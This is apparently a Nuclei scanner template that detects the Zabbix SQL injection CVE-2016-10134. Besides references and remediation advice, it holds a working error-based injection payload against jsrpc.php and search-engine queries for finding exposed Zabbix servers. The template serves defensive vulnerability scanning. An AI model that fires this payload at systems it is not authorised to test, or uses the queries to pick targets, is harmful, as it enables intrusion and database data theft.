id: CVE-2016-10134

info:
  name: Zabbix - SQL Injection
  author: princechaddha
  severity: critical
  description: Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggle_ids array parameter in latest.php and perform SQL injection attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the Zabbix application and underlying systems.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Zabbix to mitigate the SQL Injection vulnerability (CVE-2016-10134).
  reference:
    - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10134
    - https://support.zabbix.com/browse/ZBX-11023
    - https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=850936
    - http://www.debian.org/security/2017/dsa-3802
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-10134
    cwe-id: CWE-89
    epss-score: 0.88001
    epss-percentile: 0.99448
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve2016,cve,zabbix,sqli,vulhub

http:
  - method: GET
    path:
      - "{{BaseURL}}/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)::"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Error in query [INSERT INTO profiles (profileid, userid'
          - 'You have an error in your SQL syntax'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220171ceb11f56d06a821abcecd829dd4cfa290f7fb1990c33e6339b0b303ffa26c022020a4431464970badf00eddc1789674e47d8dc240689081cb0765371cc24d365e:922c64590222798bb761d5b6d8e72950